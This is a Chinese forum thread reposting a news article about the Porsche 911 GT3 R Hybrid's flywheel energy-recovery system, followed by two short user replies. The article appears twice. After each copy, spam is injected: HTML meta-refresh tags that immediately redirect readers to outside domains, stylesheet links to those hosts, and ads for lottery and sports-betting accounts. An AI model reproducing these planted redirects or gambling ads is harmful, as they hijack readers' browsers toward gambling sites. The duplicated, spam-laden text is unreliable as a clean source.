保时捷911 GT3 R Hybrid （飞轮混合动力）-超级军网

http://auto.tom.com/2010-03-04/0D5C/05148066.html

一代保时捷911 GT3-R跑车在刚刚开幕的日内瓦车展上亮相，它的竞赛改装车型将参加今年的勒芒24小时耐力赛。Porsche 911GT3 R Hybrid是保时捷历史上第一款采用油电混合动力引擎的赛车。

动力方面，GT3 R Hybrid拥有480马力的4.0L水平对置发动机驱动后轮，而且还加装了两台电动机驱动前轮，以功率计算，两台电动机总共可以输出大约120kW(161马力)。

在两台电动机的辅助下，GT3 R Hybrid的总功率将超过500马力。更重要的是，为这两台电动机提供能量的不是传统的电池系统，而是类似F1赛车的KERS(动能回收系统)装置。

与传统混合动力车配置完全不同，911 GT3 R混合动力车采用电动-机械飞轮系统，利用制动动能驱动安装在前轮轴总成上的两个60千瓦的电动马达。飞轮则安装在乘客座椅的位置上，其转速可高达40,000转/分。

<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
 
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

 
 

(6.合.彩)足球→篮球...各类投注开户下注
 
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
 http://auto.tom.com/2010-03-04/0D5C/05148066.html

一代保时捷911 GT3-R跑车在刚刚开幕的日内瓦车展上亮相，它的竞赛改装车型将参加今年的勒芒24小时耐力赛。Porsche 911GT3 R Hybrid是保时捷历史上第一款采用油电混合动力引擎的赛车。

动力方面，GT3 R Hybrid拥有480马力的4.0L水平对置发动机驱动后轮，而且还加装了两台电动机驱动前轮，以功率计算，两台电动机总共可以输出大约120kW(161马力)。

在两台电动机的辅助下，GT3 R Hybrid的总功率将超过500马力。更重要的是，为这两台电动机提供能量的不是传统的电池系统，而是类似F1赛车的KERS(动能回收系统)装置。

与传统混合动力车配置完全不同，911 GT3 R混合动力车采用电动-机械飞轮系统，利用制动动能驱动安装在前轮轴总成上的两个60千瓦的电动马达。飞轮则安装在乘客座椅的位置上，其转速可高达40,000转/分。

<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
 
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

 
 

(6.合.彩)足球→篮球...各类投注开户下注
 
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台

渣猫买918 Spyder送我！！（敲碗

牺牲副驾驶位置。。不能载MM了。。

飞啊飞啊飞发表于 2011-1-24 16:34

即使有MM也不敢坐啊

转动惯量巨大的飞轮具有陀螺的定轴性和进动性等力学特性，会不会影响操作？

车永学发表于 2011-1-24 22:19

不会 F1都玩过了，只是在能量的存储输出上不如电池给力呀{:2_70:}